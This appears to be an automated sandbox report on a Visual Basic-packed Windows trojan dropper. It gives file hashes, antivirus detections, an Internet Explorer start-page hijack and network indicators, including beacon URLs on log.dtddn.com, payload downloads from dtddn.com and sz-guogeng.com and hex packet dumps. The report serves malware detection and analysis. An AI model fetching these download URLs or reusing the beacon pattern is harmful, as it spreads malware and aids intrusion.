Analysis Date2014-11-19 18:28:36
MD50c006877d3acf755e7976853368bf168
SHA1f38f82ed8d7c575d53c81e3cfbdd0ecd3802e495

Static Details:

File typePE32 executable for MS Windows (GUI) Intel 80386 32-bit
Section.text md5: 26308ab07d769c1f9680fb0cf9e94439 sha1: 1dd86a4e214627b76dbfa79acb54afb9a1ff4ea6 size: 155648
Section.data md5: 620f0b67a91f7f74151bc5be745b7110 sha1: 1ceaf73df40e531df3bfb26b4fb7cd95fb7bff1d size: 4096
Section.rsrc md5: 899baac892b6fef68c0c63b668a7c1fc sha1: 1943709ed91e9d55751441cc89e53fdb9f3783ec size: 8192
Timestamp2014-10-08 20:42:44
VersionInternalName: qltpjwsv
FileVersion: 1.00
CompanyName: kCz4dN9
ProductName: qltpjwsv
ProductVersion: 1.00
OriginalFilename: qltpjwsv.exe
PackerMicrosoft Visual Basic v5.0
PEhash16aea35ba7820eb354aabcf04619b2a8f9806826
IMPhash36067b6194e4e019eb78ceaffdf478e4
AV360 SafeGen:Trojan.Heur.ZGY.6
AVAd-AwareGen:Trojan.Heur.ZGY.6
AVAlwil (avast)VBCrypt-CWL [Trj]
AVArcabit (arcavir)no_virus
AVAuthentiumW32/Trojan.NXUB-5066
AVAvira (antivir)TR/Dropper.Gen
AVBullGuardGen:Trojan.Heur.ZGY.6
AVCA (E-Trust Ino)no_virus
AVCAT (quickheal)no_virus
AVClamAVno_virus
AVDr. Webno_virus
AVEmsisoftGen:Trojan.Heur.ZGY.6
AVEset (nod32)Win32/Paskod.A
AVFortinetW32/VBObfus.QT!tr
AVFrisk (f-prot)no_virus
AVF-SecureGen:Trojan.Heur.ZGY.6
AVGrisoft (avg)Win32/VBCrypt
AVIkarusTrojan.Win32.VBObfus
AVK7NetWorm ( 700000151 )
AVKasperskyTrojan.Win32.Generic
AVMalwareBytesno_virus
AVMcafeeObfuscated-FBW!0C006877D3AC
AVMicrosoft Security Essentialsno_virus
AVMicroWorld (escan)Gen:Trojan.Heur.ZGY.6
AVRisingno_virus
AVSophosMal/VBCheMan-A
AVSymantecno_virus
AVTrend MicroTROJ_VB.SMIS
AVVirusBlokAda (vba32)BScope.Trojan.Diple

Runtime Details:

Screenshot

Process
↳ C:\malware.exe

RegistryHKEY_CURRENT_USER\Software\VB and VBA Program Settings\u2p\m0q\Edit ➝
3102\\x00
RegistryHKEY_CURRENT_USER\Software\VB and VBA Program Settings\u2p\w2m\copin ➝
425304587402\\x00
Creates FileC:\Documents and Settings\Administrator\Local Settings\Temp\qwlmxi.ini
Creates File\Device\Afd\Endpoint
Creates File\Device\Afd\AsyncConnectHlp
Deletes FileC:\Documents and Settings\Administrator\Local Settings\Temp\qwlmxi.ini
Creates ProcessC:\WINDOWS\System32\regini.exe "C:\Documents and Settings\Administrator\Local Settings\Temp\qwlmxi.ini"
Creates MutexScanPK23102
Creates Mutexup3102
Winsock DNSdown.dtddn.com
Winsock DNSlog.dtddn.com
Winsock DNShost1.sz-guogeng.com
Winsock DNSdown.sz-guogeng.com
Winsock DNSdldir1.qq.com
Winsock DNSlnk1.dtddn.com
Winsock DNSlnk2.dtddn.com

Process
↳ C:\WINDOWS\System32\regini.exe "C:\Documents and Settings\Administrator\Local Settings\Temp\qwlmxi.ini"

RegistryHKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer\Main\Start Page ➝
http://www.skoda-china.com/\\x00
RegistryHKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Start Page ➝
http://www.skoda-china.com/\\x00

Network Details:

DNSlog.dtddn.com
Type: A
112.124.183.10
DNSlnk1.dtddn.com
Type: A
121.40.172.60
DNSlnk2.dtddn.com
Type: A
121.40.172.60
DNSdldir1.qq.com.cdngc.net
Type: A
174.35.56.144
DNSdldir1.qq.com.cdngc.net
Type: A
174.35.56.135
DNSdown.dtddn.com
Type: A
112.124.120.200
DNSdown.sz-guogeng.com
Type: A
112.124.120.200
DNShost1.sz-guogeng.com
Type: A
112.124.120.200
DNSdldir1.qq.com
Type: A
HTTP GEThttp://log.dtddn.com/UpLog3/worklog.asp?Name1=3102%20C%20251&Info1=425304587402%2075000
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://log.dtddn.com/UpLog3/worklog.asp?Name1=3102%20C%20251&Info1=425304587402%2078578
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://log.dtddn.com/UpLog3/worklog.asp?Name1=3102%20C%20251&Info1=425304587402%2081671
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://lnk1.dtddn.com:7771/lnk/1.rar
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://lnk2.dtddn.com:7771/lnk/2.rar
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://lnk1.dtddn.com:7771/lnk/3.rar
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://lnk2.dtddn.com:7771/lnk/4.rar
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://lnk1.dtddn.com:7771/lnk/5.rar
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://lnk2.dtddn.com:7771/lnk/6.rar
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://lnk1.dtddn.com:7771/lnk/7.rar
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://lnk2.dtddn.com:7771/lnk/8.rar
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://lnk1.dtddn.com:7771/lnk/9.rar
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://log.dtddn.com/UpLog3/worklog.asp?Name1=3102%20Q2-Beg1&Info1=425304587402%201%200
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://dldir1.qq.com/invc/tt/QQBrowser_Setup_ExternalForum_15649.exe
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://dldir1.qq.com/invc/tt/QQBrowser_Setup_ExternalForum_15649.exe
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://dldir1.qq.com/invc/tt/QQBrowser_Setup_ExternalForum_15649.exe
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://dldir1.qq.com/invc/tt/QQBrowser_Setup_ExternalForum_15649.exe
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://down.dtddn.com/74.rar
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://dldir1.qq.com/invc/tt/QQBrowser_Setup_ExternalForum_15649.exe
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://dldir1.qq.com/invc/tt/QQBrowser_Setup_ExternalForum_15649.exe
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://dldir1.qq.com/invc/tt/QQBrowser_Setup_ExternalForum_15649.exe
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://down.sz-guogeng.com/74.rar
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://log.dtddn.com/UpLog3/worklog.asp?Name1=3102%20Q2-DownI&Info1=425304587402%201%200%201
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://lnk1.dtddn.com:7771/lnk/1.rar
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://lnk2.dtddn.com:7771/lnk/2.rar
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://lnk1.dtddn.com:7771/lnk/3.rar
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://lnk2.dtddn.com:7771/lnk/4.rar
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://lnk1.dtddn.com:7771/lnk/5.rar
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://lnk2.dtddn.com:7771/lnk/6.rar
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://lnk1.dtddn.com:7771/lnk/7.rar
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://lnk2.dtddn.com:7771/lnk/8.rar
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://lnk1.dtddn.com:7771/lnk/9.rar
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://log.dtddn.com/UpLog3/worklog.asp?Name1=3102%20D%20251&Info1=425304587402%20112593
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://log.dtddn.com/UpLog3/worklog.asp?Name1=3102%20D%20251&Info1=425304587402%20115687
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://log.dtddn.com/UpLog3/worklog.asp?Name1=3102%20D%20251&Info1=425304587402%20118781
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP GEThttp://host1.sz-guogeng.com:7771/WM3102/9.rar
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
Flows TCP192.168.1.1:1031 ➝ 112.124.183.10:80
Flows TCP192.168.1.1:1032 ➝ 112.124.183.10:80
Flows TCP192.168.1.1:1033 ➝ 112.124.183.10:80
Flows TCP192.168.1.1:1034 ➝ 121.40.172.60:7771
Flows TCP192.168.1.1:1035 ➝ 121.40.172.60:7771
Flows TCP192.168.1.1:1036 ➝ 121.40.172.60:7771
Flows TCP192.168.1.1:1037 ➝ 121.40.172.60:7771
Flows TCP192.168.1.1:1038 ➝ 121.40.172.60:7771
Flows TCP192.168.1.1:1039 ➝ 121.40.172.60:7771
Flows TCP192.168.1.1:1040 ➝ 121.40.172.60:7771
Flows TCP192.168.1.1:1041 ➝ 121.40.172.60:7771
Flows TCP192.168.1.1:1042 ➝ 121.40.172.60:7771
Flows TCP192.168.1.1:1043 ➝ 112.124.183.10:80
Flows TCP192.168.1.1:1044 ➝ 174.35.56.144:80
Flows TCP192.168.1.1:1045 ➝ 174.35.56.144:80
Flows TCP192.168.1.1:1046 ➝ 174.35.56.144:80
Flows TCP192.168.1.1:1047 ➝ 174.35.56.144:80
Flows TCP192.168.1.1:1048 ➝ 112.124.120.200:80
Flows TCP192.168.1.1:1049 ➝ 174.35.56.144:80
Flows TCP192.168.1.1:1050 ➝ 174.35.56.144:80
Flows TCP192.168.1.1:1051 ➝ 174.35.56.144:80
Flows TCP192.168.1.1:1052 ➝ 112.124.120.200:80
Flows TCP192.168.1.1:1053 ➝ 112.124.183.10:80
Flows TCP192.168.1.1:1054 ➝ 121.40.172.60:7771
Flows TCP192.168.1.1:1055 ➝ 121.40.172.60:7771
Flows TCP192.168.1.1:1056 ➝ 121.40.172.60:7771
Flows TCP192.168.1.1:1057 ➝ 121.40.172.60:7771
Flows TCP192.168.1.1:1058 ➝ 121.40.172.60:7771
Flows TCP192.168.1.1:1059 ➝ 121.40.172.60:7771
Flows TCP192.168.1.1:1060 ➝ 121.40.172.60:7771
Flows TCP192.168.1.1:1061 ➝ 121.40.172.60:7771
Flows TCP192.168.1.1:1062 ➝ 121.40.172.60:7771
Flows TCP192.168.1.1:1063 ➝ 112.124.183.10:80
Flows TCP192.168.1.1:1064 ➝ 112.124.183.10:80
Flows TCP192.168.1.1:1065 ➝ 112.124.183.10:80
Flows TCP192.168.1.1:1066 ➝ 112.124.120.200:7771

Raw Pcap
0x00000000 (00000)   47455420 2f55704c 6f67332f 776f726b   GET /UpLog3/work
0x00000010 (00016)   6c6f672e 6173703f 4e616d65 313d3331   log.asp?Name1=31
0x00000020 (00032)   30322532 30432532 30323531 26496e66   02%20C%20251&Inf
0x00000030 (00048)   6f313d34 32353330 34353837 34303225   o1=425304587402%
0x00000040 (00064)   32303735 30303020 48545450 2f312e31   2075000 HTTP/1.1
0x00000050 (00080)   0d0a4163 63657074 3a202a2f 2a0d0a55   ..Accept: */*..U
0x00000060 (00096)   7365722d 4167656e 743a204d 6f7a696c   ser-Agent: Mozil
0x00000070 (00112)   6c612f34 2e302028 636f6d70 61746962   la/4.0 (compatib
0x00000080 (00128)   6c653b20 57696e33 323b2057 696e4874   le; Win32; WinHt
0x00000090 (00144)   74702e57 696e4874 74705265 71756573   tp.WinHttpReques
0x000000a0 (00160)   742e3529 0d0a486f 73743a20 6c6f672e   t.5)..Host: log.
0x000000b0 (00176)   64746464 6e2e636f 6d0d0a43 6f6e6e65   dtddn.com..Conne
0x000000c0 (00192)   6374696f 6e3a204b 6565702d 416c6976   ction: Keep-Aliv
0x000000d0 (00208)   650d0a0d 0a                           e....

0x00000000 (00000)   47455420 2f55704c 6f67332f 776f726b   GET /UpLog3/work
0x00000010 (00016)   6c6f672e 6173703f 4e616d65 313d3331   log.asp?Name1=31
0x00000020 (00032)   30322532 30432532 30323531 26496e66   02%20C%20251&Inf
0x00000030 (00048)   6f313d34 32353330 34353837 34303225   o1=425304587402%
0x00000040 (00064)   32303738 35373820 48545450 2f312e31   2078578 HTTP/1.1
0x00000050 (00080)   0d0a4163 63657074 3a202a2f 2a0d0a55   ..Accept: */*..U
0x00000060 (00096)   7365722d 4167656e 743a204d 6f7a696c   ser-Agent: Mozil
0x00000070 (00112)   6c612f34 2e302028 636f6d70 61746962   la/4.0 (compatib
0x00000080 (00128)   6c653b20 57696e33 323b2057 696e4874   le; Win32; WinHt
0x00000090 (00144)   74702e57 696e4874 74705265 71756573   tp.WinHttpReques
0x000000a0 (00160)   742e3529 0d0a486f 73743a20 6c6f672e   t.5)..Host: log.
0x000000b0 (00176)   64746464 6e2e636f 6d0d0a43 6f6e6e65   dtddn.com..Conne
0x000000c0 (00192)   6374696f 6e3a204b 6565702d 416c6976   ction: Keep-Aliv
0x000000d0 (00208)   650d0a0d 0a                           e....

0x00000000 (00000)   47455420 2f55704c 6f67332f 776f726b   GET /UpLog3/work
0x00000010 (00016)   6c6f672e 6173703f 4e616d65 313d3331   log.asp?Name1=31
0x00000020 (00032)   30322532 30432532 30323531 26496e66   02%20C%20251&Inf
0x00000030 (00048)   6f313d34 32353330 34353837 34303225   o1=425304587402%
0x00000040 (00064)   32303831 36373120 48545450 2f312e31   2081671 HTTP/1.1
0x00000050 (00080)   0d0a4163 63657074 3a202a2f 2a0d0a55   ..Accept: */*..U
0x00000060 (00096)   7365722d 4167656e 743a204d 6f7a696c   ser-Agent: Mozil
0x00000070 (00112)   6c612f34 2e302028 636f6d70 61746962   la/4.0 (compatib
0x00000080 (00128)   6c653b20 57696e33 323b2057 696e4874   le; Win32; WinHt
0x00000090 (00144)   74702e57 696e4874 74705265 71756573   tp.WinHttpReques
0x000000a0 (00160)   742e3529 0d0a486f 73743a20 6c6f672e   t.5)..Host: log.
0x000000b0 (00176)   64746464 6e2e636f 6d0d0a43 6f6e6e65   dtddn.com..Conne
0x000000c0 (00192)   6374696f 6e3a204b 6565702d 416c6976   ction: Keep-Aliv
0x000000d0 (00208)   650d0a0d 0a                           e....

0x00000000 (00000)   47455420 2f6c6e6b 2f312e72 61722048   GET /lnk/1.rar H
0x00000010 (00016)   5454502f 312e310d 0a416363 6570743a   TTP/1.1..Accept:
0x00000020 (00032)   202a2f2a 0d0a5573 65722d41 67656e74    */*..User-Agent
0x00000030 (00048)   3a204d6f 7a696c6c 612f342e 30202863   : Mozilla/4.0 (c
0x00000040 (00064)   6f6d7061 7469626c 653b2057 696e3332   ompatible; Win32
0x00000050 (00080)   3b205769 6e487474 702e5769 6e487474   ; WinHttp.WinHtt
0x00000060 (00096)   70526571 75657374 2e35290d 0a486f73   pRequest.5)..Hos
0x00000070 (00112)   743a206c 6e6b312e 64746464 6e2e636f   t: lnk1.dtddn.co
0x00000080 (00128)   6d3a3737 37310d0a 436f6e6e 65637469   m:7771..Connecti
0x00000090 (00144)   6f6e3a20 4b656570 2d416c69 76650d0a   on: Keep-Alive..
0x000000a0 (00160)   0d0a3529 0d0a486f 73743a20 6c6f672e   ..5)..Host: log.
0x000000b0 (00176)   64746464 6e2e636f 6d0d0a43 6f6e6e65   dtddn.com..Conne
0x000000c0 (00192)   6374696f 6e3a204b 6565702d 416c6976   ction: Keep-Aliv
0x000000d0 (00208)   650d0a0d 0a                           e....

0x00000000 (00000)   47455420 2f6c6e6b 2f322e72 61722048   GET /lnk/2.rar H
0x00000010 (00016)   5454502f 312e310d 0a416363 6570743a   TTP/1.1..Accept:
0x00000020 (00032)   202a2f2a 0d0a5573 65722d41 67656e74    */*..User-Agent
0x00000030 (00048)   3a204d6f 7a696c6c 612f342e 30202863   : Mozilla/4.0 (c
0x00000040 (00064)   6f6d7061 7469626c 653b2057 696e3332   ompatible; Win32
0x00000050 (00080)   3b205769 6e487474 702e5769 6e487474   ; WinHttp.WinHtt
0x00000060 (00096)   70526571 75657374 2e35290d 0a486f73   pRequest.5)..Hos
0x00000070 (00112)   743a206c 6e6b322e 64746464 6e2e636f   t: lnk2.dtddn.co
0x00000080 (00128)   6d3a3737 37310d0a 436f6e6e 65637469   m:7771..Connecti
0x00000090 (00144)   6f6e3a20 4b656570 2d416c69 76650d0a   on: Keep-Alive..
0x000000a0 (00160)   0d0a3529 0d0a486f 73743a20 6c6f672e   ..5)..Host: log.
0x000000b0 (00176)   64746464 6e2e636f 6d0d0a43 6f6e6e65   dtddn.com..Conne
0x000000c0 (00192)   6374696f 6e3a204b 6565702d 416c6976   ction: Keep-Aliv
0x000000d0 (00208)   650d0a0d 0a                           e....

0x00000000 (00000)   47455420 2f6c6e6b 2f332e72 61722048   GET /lnk/3.rar H
0x00000010 (00016)   5454502f 312e310d 0a416363 6570743a   TTP/1.1..Accept:
0x00000020 (00032)   202a2f2a 0d0a5573 65722d41 67656e74    */*..User-Agent
0x00000030 (00048)   3a204d6f 7a696c6c 612f342e 30202863   : Mozilla/4.0 (c
0x00000040 (00064)   6f6d7061 7469626c 653b2057 696e3332   ompatible; Win32
0x00000050 (00080)   3b205769 6e487474 702e5769 6e487474   ; WinHttp.WinHtt
0x00000060 (00096)   70526571 75657374 2e35290d 0a486f73   pRequest.5)..Hos
0x00000070 (00112)   743a206c 6e6b312e 64746464 6e2e636f   t: lnk1.dtddn.co
0x00000080 (00128)   6d3a3737 37310d0a 436f6e6e 65637469   m:7771..Connecti
0x00000090 (00144)   6f6e3a20 4b656570 2d416c69 76650d0a   on: Keep-Alive..
0x000000a0 (00160)   0d0a3529 0d0a486f 73743a20 6c6f672e   ..5)..Host: log.
0x000000b0 (00176)   64746464 6e2e636f 6d0d0a43 6f6e6e65   dtddn.com..Conne
0x000000c0 (00192)   6374696f 6e3a204b 6565702d 416c6976   ction: Keep-Aliv
0x000000d0 (00208)   650d0a0d 0a                           e....

0x00000000 (00000)   47455420 2f6c6e6b 2f342e72 61722048   GET /lnk/4.rar H
0x00000010 (00016)   5454502f 312e310d 0a416363 6570743a   TTP/1.1..Accept:
0x00000020 (00032)   202a2f2a 0d0a5573 65722d41 67656e74    */*..User-Agent
0x00000030 (00048)   3a204d6f 7a696c6c 612f342e 30202863   : Mozilla/4.0 (c
0x00000040 (00064)   6f6d7061 7469626c 653b2057 696e3332   ompatible; Win32
0x00000050 (00080)   3b205769 6e487474 702e5769 6e487474   ; WinHttp.WinHtt
0x00000060 (00096)   70526571 75657374 2e35290d 0a486f73   pRequest.5)..Hos
0x00000070 (00112)   743a206c 6e6b322e 64746464 6e2e636f   t: lnk2.dtddn.co
0x00000080 (00128)   6d3a3737 37310d0a 436f6e6e 65637469   m:7771..Connecti
0x00000090 (00144)   6f6e3a20 4b656570 2d416c69 76650d0a   on: Keep-Alive..
0x000000a0 (00160)   0d0a3529 0d0a486f 73743a20 6c6f672e   ..5)..Host: log.
0x000000b0 (00176)   64746464 6e2e636f 6d0d0a43 6f6e6e65   dtddn.com..Conne
0x000000c0 (00192)   6374696f 6e3a204b 6565702d 416c6976   ction: Keep-Aliv
0x000000d0 (00208)   650d0a0d 0a                           e....

0x00000000 (00000)   47455420 2f6c6e6b 2f352e72 61722048   GET /lnk/5.rar H
0x00000010 (00016)   5454502f 312e310d 0a416363 6570743a   TTP/1.1..Accept:
0x00000020 (00032)   202a2f2a 0d0a5573 65722d41 67656e74    */*..User-Agent
0x00000030 (00048)   3a204d6f 7a696c6c 612f342e 30202863   : Mozilla/4.0 (c
0x00000040 (00064)   6f6d7061 7469626c 653b2057 696e3332   ompatible; Win32
0x00000050 (00080)   3b205769 6e487474 702e5769 6e487474   ; WinHttp.WinHtt
0x00000060 (00096)   70526571 75657374 2e35290d 0a486f73   pRequest.5)..Hos
0x00000070 (00112)   743a206c 6e6b312e 64746464 6e2e636f   t: lnk1.dtddn.co
0x00000080 (00128)   6d3a3737 37310d0a 436f6e6e 65637469   m:7771..Connecti
0x00000090 (00144)   6f6e3a20 4b656570 2d416c69 76650d0a   on: Keep-Alive..
0x000000a0 (00160)   0d0a3529 0d0a486f 73743a20 6c6f672e   ..5)..Host: log.
0x000000b0 (00176)   64746464 6e2e636f 6d0d0a43 6f6e6e65   dtddn.com..Conne
0x000000c0 (00192)   6374696f 6e3a204b 6565702d 416c6976   ction: Keep-Aliv
0x000000d0 (00208)   650d0a0d 0a                           e....

0x00000000 (00000)   47455420 2f6c6e6b 2f362e72 61722048   GET /lnk/6.rar H
0x00000010 (00016)   5454502f 312e310d 0a416363 6570743a   TTP/1.1..Accept:
0x00000020 (00032)   202a2f2a 0d0a5573 65722d41 67656e74    */*..User-Agent
0x00000030 (00048)   3a204d6f 7a696c6c 612f342e 30202863   : Mozilla/4.0 (c
0x00000040 (00064)   6f6d7061 7469626c 653b2057 696e3332   ompatible; Win32
0x00000050 (00080)   3b205769 6e487474 702e5769 6e487474   ; WinHttp.WinHtt
0x00000060 (00096)   70526571 75657374 2e35290d 0a486f73   pRequest.5)..Hos
0x00000070 (00112)   743a206c 6e6b322e 64746464 6e2e636f   t: lnk2.dtddn.co
0x00000080 (00128)   6d3a3737 37310d0a 436f6e6e 65637469   m:7771..Connecti
0x00000090 (00144)   6f6e3a20 4b656570 2d416c69 76650d0a   on: Keep-Alive..
0x000000a0 (00160)   0d0a3529 0d0a486f 73743a20 6c6f672e   ..5)..Host: log.
0x000000b0 (00176)   64746464 6e2e636f 6d0d0a43 6f6e6e65   dtddn.com..Conne
0x000000c0 (00192)   6374696f 6e3a204b 6565702d 416c6976   ction: Keep-Aliv
0x000000d0 (00208)   650d0a0d 0a                           e....

0x00000000 (00000)   47455420 2f6c6e6b 2f372e72 61722048   GET /lnk/7.rar H
0x00000010 (00016)   5454502f 312e310d 0a416363 6570743a   TTP/1.1..Accept:
0x00000020 (00032)   202a2f2a 0d0a5573 65722d41 67656e74    */*..User-Agent
0x00000030 (00048)   3a204d6f 7a696c6c 612f342e 30202863   : Mozilla/4.0 (c
0x00000040 (00064)   6f6d7061 7469626c 653b2057 696e3332   ompatible; Win32
0x00000050 (00080)   3b205769 6e487474 702e5769 6e487474   ; WinHttp.WinHtt
0x00000060 (00096)   70526571 75657374 2e35290d 0a486f73   pRequest.5)..Hos
0x00000070 (00112)   743a206c 6e6b312e 64746464 6e2e636f   t: lnk1.dtddn.co
0x00000080 (00128)   6d3a3737 37310d0a 436f6e6e 65637469   m:7771..Connecti
0x00000090 (00144)   6f6e3a20 4b656570 2d416c69 76650d0a   on: Keep-Alive..
0x000000a0 (00160)   0d0a3529 0d0a486f 73743a20 6c6f672e   ..5)..Host: log.
0x000000b0 (00176)   64746464 6e2e636f 6d0d0a43 6f6e6e65   dtddn.com..Conne
0x000000c0 (00192)   6374696f 6e3a204b 6565702d 416c6976   ction: Keep-Aliv
0x000000d0 (00208)   650d0a0d 0a                           e....

0x00000000 (00000)   47455420 2f6c6e6b 2f382e72 61722048   GET /lnk/8.rar H
0x00000010 (00016)   5454502f 312e310d 0a416363 6570743a   TTP/1.1..Accept:
0x00000020 (00032)   202a2f2a 0d0a5573 65722d41 67656e74    */*..User-Agent
0x00000030 (00048)   3a204d6f 7a696c6c 612f342e 30202863   : Mozilla/4.0 (c
0x00000040 (00064)   6f6d7061 7469626c 653b2057 696e3332   ompatible; Win32
0x00000050 (00080)   3b205769 6e487474 702e5769 6e487474   ; WinHttp.WinHtt
0x00000060 (00096)   70526571 75657374 2e35290d 0a486f73   pRequest.5)..Hos
0x00000070 (00112)   743a206c 6e6b322e 64746464 6e2e636f   t: lnk2.dtddn.co
0x00000080 (00128)   6d3a3737 37310d0a 436f6e6e 65637469   m:7771..Connecti
0x00000090 (00144)   6f6e3a20 4b656570 2d416c69 76650d0a   on: Keep-Alive..
0x000000a0 (00160)   0d0a3529 0d0a486f 73743a20 6c6f672e   ..5)..Host: log.
0x000000b0 (00176)   64746464 6e2e636f 6d0d0a43 6f6e6e65   dtddn.com..Conne
0x000000c0 (00192)   6374696f 6e3a204b 6565702d 416c6976   ction: Keep-Aliv
0x000000d0 (00208)   650d0a0d 0a                           e....

0x00000000 (00000)   47455420 2f6c6e6b 2f392e72 61722048   GET /lnk/9.rar H
0x00000010 (00016)   5454502f 312e310d 0a416363 6570743a   TTP/1.1..Accept:
0x00000020 (00032)   202a2f2a 0d0a5573 65722d41 67656e74    */*..User-Agent
0x00000030 (00048)   3a204d6f 7a696c6c 612f342e 30202863   : Mozilla/4.0 (c
0x00000040 (00064)   6f6d7061 7469626c 653b2057 696e3332   ompatible; Win32
0x00000050 (00080)   3b205769 6e487474 702e5769 6e487474   ; WinHttp.WinHtt
0x00000060 (00096)   70526571 75657374 2e35290d 0a486f73   pRequest.5)..Hos
0x00000070 (00112)   743a206c 6e6b312e 64746464 6e2e636f   t: lnk1.dtddn.co
0x00000080 (00128)   6d3a3737 37310d0a 436f6e6e 65637469   m:7771..Connecti
0x00000090 (00144)   6f6e3a20 4b656570 2d416c69 76650d0a   on: Keep-Alive..
0x000000a0 (00160)   0d0a3529 0d0a486f 73743a20 6c6f672e   ..5)..Host: log.
0x000000b0 (00176)   64746464 6e2e636f 6d0d0a43 6f6e6e65   dtddn.com..Conne
0x000000c0 (00192)   6374696f 6e3a204b 6565702d 416c6976   ction: Keep-Aliv
0x000000d0 (00208)   650d0a0d 0a                           e....

0x00000000 (00000)   47455420 2f55704c 6f67332f 776f726b   GET /UpLog3/work
0x00000010 (00016)   6c6f672e 6173703f 4e616d65 313d3331   log.asp?Name1=31
0x00000020 (00032)   30322532 3051322d 42656731 26496e66   02%20Q2-Beg1&Inf
0x00000030 (00048)   6f313d34 32353330 34353837 34303225   o1=425304587402%
0x00000040 (00064)   32303125 32303020 48545450 2f312e31   201%200 HTTP/1.1
0x00000050 (00080)   0d0a4163 63657074 3a202a2f 2a0d0a55   ..Accept: */*..U
0x00000060 (00096)   7365722d 4167656e 743a204d 6f7a696c   ser-Agent: Mozil
0x00000070 (00112)   6c612f34 2e302028 636f6d70 61746962   la/4.0 (compatib
0x00000080 (00128)   6c653b20 57696e33 323b2057 696e4874   le; Win32; WinHt
0x00000090 (00144)   74702e57 696e4874 74705265 71756573   tp.WinHttpReques
0x000000a0 (00160)   742e3529 0d0a486f 73743a20 6c6f672e   t.5)..Host: log.
0x000000b0 (00176)   64746464 6e2e636f 6d0d0a43 6f6e6e65   dtddn.com..Conne
0x000000c0 (00192)   6374696f 6e3a204b 6565702d 416c6976   ction: Keep-Aliv
0x000000d0 (00208)   650d0a0d 0a                           e....

0x00000000 (00000)   47455420 2f696e76 632f7474 2f515142   GET /invc/tt/QQB
0x00000010 (00016)   726f7773 65725f53 65747570 5f457874   rowser_Setup_Ext
0x00000020 (00032)   65726e61 6c466f72 756d5f31 35363439   ernalForum_15649
0x00000030 (00048)   2e657865 20485454 502f312e 310d0a41   .exe HTTP/1.1..A
0x00000040 (00064)   63636570 743a202a 2f2a0d0a 55736572   ccept: */*..User
0x00000050 (00080)   2d416765 6e743a20 4d6f7a69 6c6c612f   -Agent: Mozilla/
0x00000060 (00096)   342e3020 28636f6d 70617469 626c653b   4.0 (compatible;
0x00000070 (00112)   2057696e 33323b20 57696e48 7474702e    Win32; WinHttp.
0x00000080 (00128)   57696e48 74747052 65717565 73742e35   WinHttpRequest.5
0x00000090 (00144)   290d0a48 6f73743a 20646c64 6972312e   )..Host: dldir1.
0x000000a0 (00160)   71712e63 6f6d0d0a 436f6e6e 65637469   qq.com..Connecti
0x000000b0 (00176)   6f6e3a20 4b656570 2d416c69 76650d0a   on: Keep-Alive..
0x000000c0 (00192)   0d0a696f 6e3a204b 6565702d 416c6976   ..ion: Keep-Aliv
0x000000d0 (00208)   650d0a0d 0a                           e....

0x00000000 (00000)   47455420 2f696e76 632f7474 2f515142   GET /invc/tt/QQB
0x00000010 (00016)   726f7773 65725f53 65747570 5f457874   rowser_Setup_Ext
